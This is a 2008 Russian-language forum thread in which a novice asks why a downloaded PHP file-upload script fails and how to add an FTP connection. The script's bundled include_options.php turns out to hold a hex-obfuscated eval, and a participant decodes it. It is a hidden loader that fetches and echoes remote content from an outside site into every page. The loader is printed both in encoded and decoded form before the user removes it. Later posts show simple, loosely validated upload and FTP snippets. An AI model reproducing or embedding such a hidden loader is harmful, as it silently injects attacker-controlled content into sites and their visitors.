что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 15:16:34.370000
|
|
|
M0rS
Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
|
вот скрипт загрузки файлов на фтп <? $extlimit = "yes"; //Do you want to limit the extensions of files uploaded $limitedext = array(".gif",".jpg",".png",".jpeg"); //Extensions you want files uploaded limited to. $sizelimit = "no"; //Do you want a size limit, yes or no? $sizebytes = "200000"; //size limit in bytes $dl = "http://www.zachwhite.com/demo/up-down"; //url where files are uploaded $absolute_path = "/home/zachwhit/public_html/demo/up-down"; //Absolute path to where files are uploaded $websiteurl = "http://www.zachwhite.com"; //Url to you website $websitename = "Zach White Network"; switch($action) { default: echo" <html> <head> <title>Upload Or Download</title> </head> <body> <a href=$PHP_SELF?action=upload>Upload File</a> <a href=$PHP_SELF?action=download>Download File</a> <a href=$websiteurl>Return to $websitename</a> <br><br> Powered by <a href=http://www.zachwhite.com/>PHP Uploader Downloader</a> </body> </html>"; break; case "download": echo " <html> <head> <title>File Download</title> </head> <body><a href=$PHP_SELF?action=upload>Upload File</a> <a href=$websiteurl>Return to $websitename</a>"; $list = "<table width=50% border=1 bordercolor=#000000 style=\"border-collapse: collapse\">"; $list .= "<tr><td width=50%><center><b>Click To Download</b></center></td></tr>"; $dir = opendir($absolute_path); while($file = readdir($dir)) { if (($file != "..") and ($file != ".")) { //Download files with spaces fix by Kokesh $list .= "<tr><td width=50%><a href='$dl/$file'>$file</a></center></td></tr>"; } } $list .= "</table>"; echo $list; echo" <br><br> Powered by <a href=http://www.zachwhite.com/>PHP Uploader Downloader</a> </body> </html>"; break; case "upload": echo" <html> <head> <title>File Upload</title> </head> <body> <form method=POST action=$PHP_SELF?action=doupload enctype=multipart/form-data> <p>File to upload:<br> <input type=file name=file size=30> <p><button name=submit type=submit> Upload </button> </form> <br><br> Powered by <a href=http://www.zachwhite.com/>PHP Uploader Downloader</a> </body> </html>"; break; //File Upload case "doupload": $dir = "dir"; if ($file != "") { if (file_exists("$absolute_path/$file_name")) { die("File already exists"); } if (($sizelimit == "yes") && ($file_size > $sizebytes)) { die("File is to big. It must be $sizebytes bytes or less."); } $ext = strrchr($file_name,'.'); if (($extlimit == "yes") && (!in_array($ext,$limitedext))) { die("The file you are uploading doesn't have the correct extension."); } @copy($file, "$absolute_path/$file_name") or die("The file you are trying to upload couldn't be copied to the server"); } else { die("Must select file to upload"); } echo " <html> <head> <title>File Uploaded</title> </head> <body>"; echo $file_name." was uploaded"; echo "<br> <a href=$PHP_SELF?action=upload>Upload Another File</a> <a href=$PHP_SELF?action=download> Download File</a> <a href=$websiteurl> Return to $websitename</a><br><br> Powered by <a href=http://www.zachwhite.com/>PHP Uploader Downloader</a> </body> </html>"; break; } ?> <?php require_once("include_options.php");?> сюда пишу вроде все правильно как тут $dl = "http://www.zachwhite.com/demo/up-down"; //url where files are uploaded $absolute_path = "/home/zachwhit/public_html/demo/up-down"; //Absolute path to where files are uploaded $websiteurl = "http://www.zachwhite.com"; //Url to you website $websitename = "Zach White Network"; ну указываю папку где хранить фалы и туже папку где их отображать в другой форме имя хоста и т.д пытаюсь загрузить картинку оно мне в итоге выдает следующее The file you are trying to upload couldn't be copied to the server я так понял что не хватает команды соединения с фтп то есть пароль, порт, айпи ну как команда соединения с базой данных mysql только для фтп хостинга на который пытаюсь что то загрузить а что это за команда и куда ее тут вклеить или может что другое делать надо ?
|
|
|
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:00:55.670000
|
|
|
AdReNaL1Ne
Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
|
quote:
<?php require_once("include_options.php");?> Я так полагаю в этом файле прописаны настройки соединения с фтп.
|
|
|
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:10:58.556666
|
|
|
M0rS
Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
|
в include_options.php вообще что то непонятное <?php eval ("\x24\x73\x69\x74\x65\x20\x3d\x20\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\ x77\x77\x2e\x66\x6f\x72\x6c\x69\x6e\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\x74\x78\x 74\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28 \x22\x63\x75\x72\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b\x24\x63\x68\x20\x3d\x20 \x63\x75\x72\x6c\x5f\x69\x6e\x69\x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28 \x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65\x29\x3b\x63 \x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55 \x52\x4c\x4f\x50\x54\x5f\x46\x41\x49\x4c\x4f\x4e\x45\x52\x52\x4f\x52\x2c\x20 \x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c \x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\x54\x52\x41\x4e \x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\ x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\x55 \x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63\x75\x72\x6c\x5f\x65\x78\x65\x63 \x28\x24\x63\x68\x29\x3b\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24\x63\x68\x29 \x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68\x6f\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\ x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x73\x69\x74\x65\x29\x3b");?>
|
|
|
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:21:21.723333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Замени eval на echo и пройди на /include_options.php
|
|
|
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 16:24:17.820000
|
|
|
AdReNaL1Ne
Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
|
$site = "http://www.forlinks.ru/l/l.txt";if(@function_exists("curl_version")){$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$site);curl_setopt($ch, CURLOPT_FAILONERROR, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_TIMEOUT, 4);echo @curl_exec($ch);curl_close($ch);}else echo @file_get_contents($site); Гугль нашёл это же на ачате) http://forum.antichat.ru/showthread.php?p=552101
|
|
|
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 19:59:09.760000
|
|
|
M0rS
Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
|
вот я нашёл помогите теперь это все склеить чтоб оно работало то есть соединилось с фтп ну и потом закинуло))) Соединение с удаленным FTP-сервером [blockquote]<? $host = "ftp://ftp.server.ru"; $connect = ftp_connect($host); if(!$connect) { echo("Ошибка соединения"); exit; } else { echo("Соединение установлено"); } ?> [/blockquote] Регистрация на FTP-сервере После того, как соединение установлено, необходимо зарегистрироваться на сервере с определенным именем и паролем. Сделать это можно при помощи функции ftp_login. Регистрация на FTP-сервере [blockquote]<? $user = "maks"; $password = "password"; $result = ftp_login($connect, $user, $password); ?> [/blockquote]
|
|
|
RE: что тут нехватает чтоб соеденится с фтп хостинга и загрузить фаил на него - 2008-03-15 19:59:55.183333
|
|
|
M0rS
Сообщений: 20
Оценки: 0
Присоединился: 2008-02-27 00:22:33.616666
|
include_options.php я удалил вобще я почистил он та м ненужен помому вобще можно вот с этим в принципе только надо тогда еще добавить проверку на совпадение имени чтоб оно поверх не перезаписывало файл <?php if($_FILES["filename"]["size"] > 1024*3*1024) { echo ("Размер файла превышает три мегабайта"); exit; } if(copy($_FILES["filename"]["tmp_name"], "c:/temp/".$_FILES["filename"]["name"])) { echo("Файл успешно загружен <br>"); echo("Характеристики файла: <br>"); echo("Имя файла: "); echo($_FILES["filename"]["name"]); echo("<br>Размер файла: "); echo($_FILES["filename"]["size"]); echo("<br>Каталог для загрузки: "); echo($_FILES["filename"]["tmp_name"]); echo("<br>Тип файла: "); echo($_FILES["filename"]["type"]); } else { echo("Ошибка загрузки файла"); } ?>
|
|
|
|
|